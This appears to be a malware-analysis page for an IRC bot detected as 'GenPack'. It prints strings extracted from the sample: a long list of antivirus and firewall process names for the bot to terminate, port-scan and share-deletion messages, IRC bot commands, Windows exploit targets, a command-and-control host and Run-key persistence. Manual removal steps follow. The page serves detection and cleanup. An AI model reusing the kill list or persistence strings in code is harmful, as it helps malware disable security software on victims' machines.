RESCUE.EXE

REGEDT32.EXE

REGEDIT.EXE

REGED.EXE

REALMON.EXE

RCSYNC.EXE

RB32.EXE

RAY.EXE

RAV8WIN32ENG.EXE

RAV7WIN.EXE

RAV7.EXE

RAPAPP.EXE

QSERVER.EXE

QCONSOLE.EXE

PVIEW95.EXE

PUSSY.EXE

PURGE.EXE

PSPF.EXE

PROTECTX.EXE

PROPORT.EXE

PROGRAMAUDITOR.EXE

PROCEXPLORERV1.0.EXE

PROCESSMONITOR.EXE

PROCDUMP.EXE

PRMVR.EXE

PRMT.EXE

PRIZESURFER.EXE

PPVSTOP.EXE

PPTBC.EXE

PPINUPDT.EXE

POWERSCAN.EXE

PORTMONITOR.EXE

PORTDETECTIVE.EXE

POPSCAN.EXE

POPROXY.EXE

POP3TRAP.EXE

PLATIN.EXE

PINGSCAN.EXE

PGMONITR.EXE

PFWADMIN.EXE

PF2.EXE

PERSWF.EXE

PERSFW.EXE

PERISCOPE.EXE

PENIS.EXE

PDSETUP.EXE

PCSCAN.EXE

PCIP10117_0.EXE

PCFWALLICON.EXE

PCDSETUP.EXE

PCCWIN98.EXE

PCCWIN97.EXE

PCCNTMON.EXE

PCCIOMON.EXE

PCC2K_76_1436.EXE

PCC2002S902.EXE

PAVW.EXE

PAVSCHED.EXE

PAVPROXY.EXE

PAVCL.EXE

PATCH.EXE

PANIXK.EXE

PADMIN.EXE

OUTPOSTPROINSTALL.EXE

OUTPOSTINSTALL.EXE

OUTPOST.EXE

OTFIX.EXE

OSTRONET.EXE

OPTIMIZE.EXE

ONSRVR.EXE

OLLYDBG.EXE

NWTOOL16.EXE

NWSERVICE.EXE

NWINST4.EXE

NVSVC32.EXE

NVC95.EXE

NVARCH16.EXE

NUPGRADE.EXE

NUI.EXE

NTXconfig.EXE

NTVDM.EXE

NTRTSCAN.EXE

NT.EXE

NSUPDATE.EXE

NSTASK32.EXE

NSSYS32.EXE

NSCHED32.EXE

NPSSVC.EXE

NPSCHECK.EXE

NPROTECT.EXE

NPFMESSENGER.EXE

NPF40_TW_98_NT_ME_2K.EXE

NOTSTART.EXE

NORTON_INTERNET_SECU_3.0_407.EXE

NORMIST.EXE

NOD32.EXE

NMAIN.EXE

NISUM.EXE

NISSERV.EXE

NETUTILS.EXE

NETSTAT.EXE

NETSPYHUNTER-1.2.EXE

NETSCANPRO.EXE

NETMON.EXE

NETINFO.EXE

NETD32.EXE

NETARMOR.EXE

NEOWATCHLOG.EXE

NEOMONITOR.EXE

NDD32.EXE

NCINST4.EXE

NC2000.EXE

NAVWNT.EXE

NAVW32.EXE

NAVSTUB.EXE

NAVNT.EXE

NAVLU32.EXE

NAVENGNAVEX15.NAVLU32.EXE

NAVDX.EXE

NAVAPW32.EXE

NAVAPSVC.EXE

NAVAP.NAVAPSVC.EXE

AUTO-PROTECT.NAV80TRY.EXE

NAV.EXE

N32SCANW.EXE

MWATCH.EXE

MU0311AD.EXE

MSVXD.EXE

MSSYS.EXE

MSSMMC32.EXE

MSMSGRI32.EXE

MSMGT.EXE

MSLAUGH.EXE

MSINFO32.EXE

MSIEXEC16.EXE

MSDOS.EXE

MSDM.EXE

MSCONFIG.EXE

MSCMAN.EXE

MSCCN32.EXE

MSCACHE.EXE

MSBLAST.EXE

MSBB.EXE

MSAPP.EXE

MRFLUX.EXE

MPFTRAY.EXE

MPFSERVICE.EXE

MPFAGENT.EXE

MOSTAT.EXE

MOOLIVE.EXE

MONITOR.EXE

MMOD.EXE

MINILOG.EXE

MGUI.EXE

MGHTML.EXE

MGAVRTE.EXE

MGAVRTCL.EXE

MFWENG3.02D30.EXE

MFW2EN.EXE

MFIN32.EXE

MD.EXE

MCVSSHLD.EXE

MCVSRTE.EXE

MCUPDATE.EXE

MCTOOL.EXE

MCSHIELD.EXE

MCMNHDLR.EXE

MCAGENT.EXE

MAPISVC32.EXE

LUSPT.EXE

LUINIT.EXE

LUCOMSERVER.EXE

LUAU.EXE

LUALL.EXE

LSETUP.EXE

LORDPE.EXE

LOOKOUT.EXE

LOCKDOWN2000.EXE

LOCKDOWN.EXE

LOCALNET.EXE

LOADER.EXE

LNETINFO.EXE

LDSCAN.EXE

LDPROMENU.EXE

LDPRO.EXE

LDNETMON.EXE

LAUNCHER.EXE

KILLPROCESSSETUP161.EXE

KERNEL32.EXE

KERIO-WRP-421-EN-WIN.EXE

KERIO-WRL-421-EN-WIN.EXE

KERIO-PF-213-EN-WIN.EXE

KEENVALUE.EXE

KAZZA.EXE

KAVPF.EXE

KAVPERS40ENG.EXE

KAVLITE40ENG.EXE

JEDI.EXE

JDBGMRG.EXE

JAMMER.EXE

ISTSVC.EXE

ISRV95.EXE

ISASS.EXE

IRIS.EXE

IPARMOR.EXE

IOMON98.EXE

INTREN.EXE

INTDEL.EXE

INIT.EXE

INFWIN.EXE

INFUS.EXE

INETLNFO.EXE

IFW2000.EXE

IFACE.EXE

IEXPLORER.EXE

IEDRIVER.EXE

IEDLL.EXE

IDLE.EXE

ICSUPPNT.EXE

ICSUPP95.EXE

ICMON.EXE

ICLOADNT.EXE

ICLOAD95.EXE

IBMAVSP.EXE

IBMASN.EXE

IAMSTATS.EXE

IAMSERV.EXE

IAMAPP.EXE

HXIUL.EXE

HXDL.EXE

HWPE.EXE

HTPATCH.EXE

HTLOG.EXE

HOTPATCH.EXE

HOTACTIO.EXE

HBSRV.EXE

HBINST.EXE

HACKTRACERSETUP.EXE

GUARDDOG.EXE

GUARD.EXE

GMT.EXE

GENERICS.EXE

GBPOLL.EXE

GBMENU.EXE

GATOR.EXE

FSMB32.EXE

FSMA32.EXE

FSM32.EXE

FSGK32.EXE

FSAV95.EXE

FSAV530WTBYB.EXE

FSAV530STBYB.EXE

FSAV32.EXE

FSAV.EXE

FSAA.EXE

FRW.EXE

FPROT.EXE

FP-WIN_TRIAL.EXE

FP-WIN.EXE

FNRB32.EXE

FLOWPROTECTOR.EXE

FIREWALL.EXE

FINDVIRU.EXE

FIH32.EXE

FCH32.EXE

FAST.EXE

FAMEH32.EXE

F-STOPW.EXE

F-PROT95.EXE

F-PROT.EXE

F-AGNT95.EXE

EXPLORE.EXE

EXPERT.EXE

EXE.AVXW.EXE

EXANTIVIRUS-CNET.EXE

EVPN.EXE

ETRUSTCIPE.EXE

ETHEREAL.EXE

ESPWATCH.EXE

ESCANV95.EXE

ESCANHNT.EXE

ESCANH95.EXE

ESAFE.EXE

ENT.EXE

EMSW.EXE

EFPEADM.EXE

ECENGINE.EXE

DVP95_0.EXE

DVP95.EXE

DSSAGENT.EXE

DRWEBUPW.EXE

DRWEB32.EXE

DRWATSON.EXE

DPPS2.EXE

DPFSETUP.EXE

DPF.EXE

DOORS.EXE

DLLREG.EXE

DLLCACHE.EXE

DIVX.EXE

DEPUTY.EXE

DEFWATCH.EXE

DEFSCANGUI.EXE

DEFALERT.EXE

DCOMX.EXE

DATEMANAGER.EXE

Claw95.EXE

CWNTDWMO.EXE

CWNB181.EXE

CV.EXE

CTRL.EXE

CPFNT206.EXE

CPF9X206.EXE

CPD.EXE

CONNECTIONMONITOR.EXE

CMON016.EXE

CMGRDIAN.EXE

CMESYS.EXE

CMD32.EXE

CLICK.EXE

CLEANPC.EXE

CLEANER3.EXE

CLEANER.EXE

CLEAN.EXE

CLAW95CF.EXE

CFINET32.EXE

CFINET.EXE

CFIAUDIT.EXE

CFIADMIN.EXE

CFGWIZ.EXE

CFD.EXE

CDP.EXE

CCPXYSVC.EXE

CCEVTMGR.EXE

CCAPP.EXE

BVT.EXE

BUNDLE.EXE

BS120.EXE

BRASIL.EXE

BPC.EXE

BORG2.EXE

BOOTWARN.EXE

BOOTCONF.EXE

BLSS.EXE

BLACKICE.EXE

BLACKD.EXE

BISP.EXE

BIPCPEVALSETUP.EXE

BIPCP.EXE

BIDSERVER.EXE

BIDEF.EXE

BELT.EXE

BEAGLE.EXE

BD_PROFESSIONAL.EXE

BARGAINS.EXE

BACKWEB.EXE

AVXQUAR.EXE

AVXMONITORNT.EXE

AVXMONITOR9X.EXE

AVWUPSRV.EXE

AVWUPD32.EXE

AVWUPD.EXE

AVWINNT.EXE

AVWIN95.EXE

AVSYNMGR.EXE

AVSCHED32.EXE

AVPUPD.EXE

AVPTC32.EXE

AVPM.EXE

AVPDOS32.EXE

AVPCC.EXE

AVP32.EXE

AVP.EXE

AVNT.EXE

AVLTMAIN.EXE

AVKWCTl9.EXE

AVKSERVICE.EXE

AVKSERV.EXE

AVKPOP.EXE

AVGW.EXE

AVGUARD.EXE

AVGSERV9.EXE

AVGSERV.EXE

AVGNT.EXE

AVGCTRL.EXE

AVGCC32.EXE

AVE32.EXE

AVCONSOL.EXE

AUTOUPDATE.EXE

AUTOTRACE.EXE

AUTODOWN.EXE

AUPDATE.EXE

AU.EXE

ATWATCH.EXE

ATUPDATER.EXE

ATRO55EN.EXE

ATGUARD.EXE

ATCON.EXE

ARR.EXE

APVXDWIN.EXE

APLICA32.EXE

APIMONITOR.EXE

ANTS.EXE

ANTIVIRUS.EXE

ANTI-TROJAN.EXE

AMON9X.EXE

ALOGSERV.EXE

ALEVIR.EXE

ALERTSVC.EXE

AGENTW.EXE

AGENTSVR.EXE

ADVXDWIN.EXE

ADAWARE.EXE

ACKWIN32.EXE

%s (%d)

%s|%s|%s|%s|

[%d]%s

IP: %s Port: %d is open.

Scanning IP: %s, Port: %d.

Netapi32.dll couldn't be loaded.

Failed to delete '%S' share.

Share '%S' deleted.

Failed to delete '%s' share.

Share '%s' deleted.

Advapi32.dll couldn't be loaded.

Failed to open IPC$ Restriction registry key.

Failed to open DCOM registry key.

Failed to add '%s' share.

Share '%s' added.

Failed to open IPC$ restriction registry key.

%s: No %s thread found.

%s: %s stopped. (%d thread(s) stopped.)

mscoree.dll

- This application cannot run using the active version of the Microsoft .NET Runtime

Please contact the application's support team for more information.

internal state. The program cannot safely continue execution and must

continue execution and must now be terminated.

GetProcessWindowStation

TransactNamedPipe

GetProcessHeap

PeekNamedPipe

CreatePipe

KERNEL32.dll

MPR.dll

WS2_32.dll

VERSION.dll

GetCPInfo

:.login

:,login

:!login

:@login

:$login

:%login

:^login

:&login

:*login

:-login

: login

:/login

:\login

:=login

:?login

:'login

:`login

:~login

: login

:.auth

:.hashin

:.secure

:.syn

:%syn

CDKey

JOIN #

NICK

now an IRC Operator

paypal.com

PAYPAL.COM

Windows for Workgroups 3.1a

WinXP Professional [universal] lsass.exe

Win2k Professional [universal] netrap.dll

Win2k Advanced Server [SP4] netrap.dll

Gt8%S

1.1.1.1.1.1

firefly.8s.nl

#!.EDU

channelpass

wdmgr.exe

Windows06.sys

Windows Framwork Services

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\RunServices

dnick

tPTF.exe -i get

zcÁ

[10-16-2014 16:30:16]

%System%\WinRoot32.exe

\C$\123456111111111111111.doc

Windows 2000 2195

Windows 2000 5.0

\\192.168.1.210\IPC$

\PIPE\

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   WinRoot32.exe:332
   %original file name%.exe:316
   DUMETER-INSTALL.EXE:1612
   DIRECTX9.EXE:828
   regedit.exe:1096

2. Delete the original GenPack file.
   
3. Delete or disinfect the following files created/modified by the GenPack:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\is-R18F7.tmp\DUMonCtl.dll (4185 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-R18F7.tmp\_isetup\_shfoldr.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-R18F7.tmp\_isetup\_RegDLL.tmp (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IZQOY1T4\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OD23GXMZ\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G1YJKLEZ\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CDANOXI3\desktop.ini (67 bytes)
   C:\a.bat (5 bytes)
   %System%\DIRECTX9.EXE (271 bytes)
   %System%\DUMETER-INSTALL.EXE (9606 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-77IHN.tmp\DUMETER-INSTALL.EXE.tmp (3754 bytes)
   %System%\WinRoot32.exe (502 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):
   

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "DU Meter" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\is-77IHN.tmp\DUMeter.exe"
   
   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservices]
   "Windows Framwork Services" = "WinRoot32.exe"
   
   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "Windows Framwork Services" = "WinRoot32.exe"

5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.